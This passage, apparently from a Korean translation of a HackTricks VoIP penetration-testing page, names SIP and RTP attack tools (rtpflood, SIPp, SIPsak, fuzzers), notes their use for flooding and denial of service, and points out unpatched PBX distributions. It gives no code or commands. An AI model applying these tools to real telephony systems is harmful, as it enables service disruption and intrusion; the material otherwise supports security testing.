- rtpflood: 여러 개의 잘 형성된 RTP 패킷을 전송합니다. 사용 중인 RTP 포트를 알아야 합니다(먼저 스니핑).
- SIPp: SIP 트래픽을 분석하고 생성할 수 있습니다. 따라서 DoS에도 사용할 수 있습니다.
- SIPsak: SIP 스위스 군용 칼. SIP 공격을 수행하는 데에도 사용할 수 있습니다.
- 퍼저: protos-sip, voiper.
OS 취약점
Asterisk와 같은 소프트웨어를 설치하는 가장 쉬운 방법은 이미 설치된 OS 배포판을 다운로드하는 것입니다. 예: FreePBX, Elastix, Trixbox... 문제는 작동하기 시작하면 시스템 관리자가 다시 업데이트하지 않을 수 있으며 취약점이 시간이 지남에 따라 발견될 것이라는 점입니다.
References
- https://github.com/Pepelux/sippts/wiki
- https://github.com/EnableSecurity/sipvicious
- http://blog.pepelux.org/
- https://www.rtpbleed.com/
- https://medium.com/vartai-security/practical-voip-penetration-testing-a1791602e1b4
- https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.